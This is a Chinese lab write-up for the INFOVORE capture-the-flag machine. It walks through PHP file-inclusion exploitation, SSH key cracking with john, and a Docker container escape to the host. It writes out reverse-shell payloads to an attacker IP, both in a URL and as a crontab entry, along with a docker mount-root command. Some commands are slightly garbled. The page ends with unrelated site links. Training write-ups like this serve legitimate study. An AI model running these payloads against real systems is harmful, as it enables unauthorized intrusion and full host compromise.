当前位置: 首页 > news >正文

Linux系统提权-web/普通用户-docker逃逸提权shell交互

Linux系统提权-web/普通用户-docker逃逸&提权&shell交互

docker提权分几种情况

1、权限在docker里面逃逸 提权(宿主机)
2、权限不在docker里面借助docker应用去提权(用户归属是docker组 拉镜像 提权)

参考链接https://github.com/cdk-team/CDK

docker逃逸+提权主要分下面几步

破解/etc/shadow
写到宿主机SSH密钥
写到宿主机计划任务
利用CVE漏洞直接利用反弹

INFOVORE lab实验

namp扫出目标机器

image-20250523223347550

nikto扫出可能有文件包含漏洞

image-20250523223714702

通过fuzz测试参数,找到包含路径

image-20250523223940710

漏洞利用源码:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

运行exp

image-20250523225111047

文件包含/tmp/g反弹shell

http://192.168.161.145/index.php?filename=/tmp/g&1=system(%27bash%20-c%20%22exec%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.161.131%2f4444%200%3E%261%22%27);

image-20250523225243369

ls -la

发现有dockerenv,权限再docker里面

image-20250523225407385

提权

根目录下发现.oldkeys.tgz,复制到tmp目录下解压

cp .oldkeys.tgz /tmp/oldkeys.tgz
tar -zxvf oldkeys.tgz

image-20250523230022265

得到root和root.pub两个文件

image-20250523230104165

使用john爆破root密码

image-20250523230130463

/usr/share/john/ssh2john.py key.txt >key.hash

image-20250523231948147

/usr/share/john/ssh2john.py key.hash --wordlist=/usr/share/wordlists/rockyou.txt

拿到密码

image-20250523233122922

目标机切换成root

image-20250523233239781

image-20250523233247977

有找到pty,要产生一个pty,我们可以使用两种方法,我使用su root -P

拿到第一个flag,但此时还在docker容器内

image-20250523233448129

试着docker逃逸,切到/root/.ssh目录发现有id_rsa.pub文件

image-20250523233624456

查看发现真机上有admin用户

image-20250523233940560

尝试使用id_rsa(私钥)获取对admin的访问权限

image-20250524093050177

再通过镜像挂载,把真机的docker里的/mnt目录挂载到真机的/目录上

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

报错了,拉不下来,应该是网络问题

image-20250524095008841

在kali上开个服务,拉个alpine镜像,靶机远程下载这个镜像再加载吧

docker pull alpine 
docker save alpine > alpine.tar

image-20250524095129786

wget http://192.168.161:8000

image-20250524095237811

docker < alpine.tar #把镜像加载进来

image-20250524095304817

再通过镜像挂载,把真机的docker里的/mnt目录挂载到真机的/目录上

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20250524095754805

现在只是通过磁盘挂载可以访问到宿主机的目录,如何把宿主机的shell反弹出来?

写到宿主机计划任务反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.161.131/6666 0>&1\n" >> /etc/crontab
http://www.hskmm.com/?act=detail&tid=18025

相关文章:

  • PostgreSQL技术大讲堂 - 第106讲:分区表索引优化
  • 四边形不等式优化
  • 斜率优化
  • AI智能体:从认知到实践
  • Kinect屏幕边缘检测不灵敏的解决方案
  • 暴力拓客游戏小程序:助力商家高效引流与裂变的智能解决方案
  • vue3小坑之-为什么把ref定义的数组赋值给数组对象后取值为空数组?
  • 第二类斯特林数
  • 群论
  • 扫码签到赢大奖小程序:助力多场景获客的智能营销工具
  • docker 镜像/容器
  • jmeter命令行参数详细解释
  • RK3399:性能与能效的嵌入式先锋,解锁多场景应用潜力
  • 【C++STL详解】带头双向循环结构 + 双向迭代器,核心接口 + 排序效率 + 避坑指南 - 教程
  • TorchV知识库安全解决方案:基于智能环境感知的动态权限控制
  • VBA ETH功能应用 | “0”代码构建SOME/IP节点
  • ISUP协议视频平台EasyCVR在智慧灯杆综合管理中的应用
  • 视觉智能赋能产业数智化升级:JBoltAI多模态技术落地实践
  • 神秘考试题
  • 华三交换机升级版本步骤
  • Solon v3.4.6, v3.5.4, v3.6.0-M1 发布。正式开始 LTS 计划
  • 串口通信、阻塞与非阻塞、qt
  • 破解 Java 系统 AI 化难题:JBoltAI 框架自带 RAG、Function Calling 核心功能
  • 算法第一章作业
  • CF1706E Qpwoeirut and Vertices
  • 聚焦 Java AI 开发:JBoltAI 框架支持多模型适配,打造智能应用
  • 企业级 AI 应用开发首选!JBoltAI 框架适配 Java 技术栈,稳定可靠
  • 别等碳超支才慌!EMS 像 “碳导航”,提前预警能耗 “堵点”,双碳路上不绕路
  • OTA测试实战指南:测试流程、用例设计与自动化实现
  • Halcon图像——相机图像采集模式